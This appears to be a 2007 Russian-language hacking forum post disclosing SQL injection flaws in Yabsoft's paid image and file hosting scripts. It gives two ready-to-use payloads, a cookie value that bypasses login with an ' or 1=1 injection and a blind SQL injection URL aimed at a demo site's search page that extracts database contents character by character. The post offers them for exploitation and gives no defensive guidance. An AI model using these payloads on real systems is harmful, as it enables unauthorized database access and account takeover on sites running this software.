Advanced Image/FILE Hosting Script

Advanced Image/FILE Hosting Script

28.06.2007, 13:20

~~gemaglabin~~

Banned

Регистрация: 01.08.2006

Сообщений: 725

С нами: 10408706

Репутация: 4451

Advanced Image/FILE Hosting Script

Уязвимости в платных продуктах от Yabsoft.com , в галлерее и скрипте файлообменника.Для эксплуатации обоих требуется magic_quote_gpc off.

MFH - иньекция в куках ( google )

Код:

yab_uploadmode=2; pass_hash=0; yab_logined=1; yab_last_click=1183021167; yab_autologin=1; yab_uid=0'+or+1=1/*; yab_passhash=c4ca4238a0b923820dcc509a6f75849b;yab_uploadmode=0;yab_sess_id=123;

AIM - возможен посимвольный перебор информации , хранящейся в базе данных. ( google )

Код:

http://www.yabsoft.info/demo/aihspro/search.php?text=%')+or+ascii(substring((select+1+from+users+limit+1),1,1))%3E0/*&dosearch=Search

𝕏 Twitter Reddit Telegram Копировать ссылку

Похожие темы

Тема

Автор

Раздел

Ответов

Последнее сообщение

Куча скриптов =))

SK | Heaton

PHP

01.02.2008 15:23

Steps To Deface A Webpage (About Defacers)

bxN5

Forum for discussion of ANTICHAT

11.03.2007 03:04

Pубрика "Полезные решения на PHP"

Utochka

PHP

23.05.2006 10:06

Новый Мултиплеер для GTA:VC - vc-mp

xSp1D3R

Болталка

16.08.2005 02:20

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

Создать сделку

Мои сделки

Сделка

ESCROW ADMIN PANEL